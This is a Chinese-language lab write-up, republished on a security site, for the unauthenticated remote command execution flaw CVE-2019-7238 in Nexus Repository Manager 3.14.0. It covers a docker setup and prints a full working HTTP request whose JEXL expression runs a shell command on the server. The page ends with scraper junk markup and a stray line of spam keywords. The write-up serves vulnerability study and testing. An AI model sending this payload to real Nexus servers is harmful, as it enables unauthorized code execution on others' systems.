<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Nexus Repository Manager 3 遠程命令執行漏洞(CVE-2019-7238)

    Path nexus/CVE-2019-7238

    Nexus Repository Manager 3 是一款軟件倉庫,可以用來存儲和分發Maven、NuGET等軟件源倉庫。其3.14.0及之前版本中,存在一處基于OrientDB自定義函數的任意JEXL表達式執行功能,而這處功能存在未授權訪問漏洞,將可以導致任意命令執行漏洞。

    參考鏈接:

    環境搭建

    執行如下命令啟動Nexus Repository Manager 3.14.0:

    docker-compose up -d

    等待一段時間環境才能成功啟動,訪問http://your-ip:8081即可看到Web頁面。

    使用賬號密碼admin:admin123登錄后臺,然后在maven-releases下隨便上傳一個jar包:

    觸發該漏洞,必須保證倉庫里至少有一個包存在。

    漏洞復現

    接口沒有校驗權限,所以直接發送如下數據包,即可執行touch /tmp/success命令:

    POST /service/extdirect HTTP/1.1
    Host: localhost
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:63.0) Gecko/20100101 Firefox/63.0
    Accept: */*
    Content-Type: application/json
    X-Requested-With: XMLHttpRequest
    Content-Length: 368
    Connection: close
    
    {"action":"coreui_Component","method":"previewAssets","data":[{"page":1,"start":0,"limit":50,"sort":[{"property":"name","direction":"ASC"}],"filter":
    [{"property":"repositoryName","value":"*"},{"property":"expression","value":"233.class.forName('java.lang.Runtime').getRuntime().exec('touch /tmp/success')"},{"property":"type","value":"jexl"}]}],"type":"rpc","tid":8}

    可見,/tmp/success已成功執行:

    原理是expression位置的JEXL表達式被執行,詳情可閱讀參考文檔。

    利用classloader加載字節碼即可獲得回顯:

    本文章首發在 網安wangan.com 網站上。

    上一篇 下一篇
    討論數量: 0
    只看當前版本


    暫無話題~
    亚洲 欧美 自拍 唯美 另类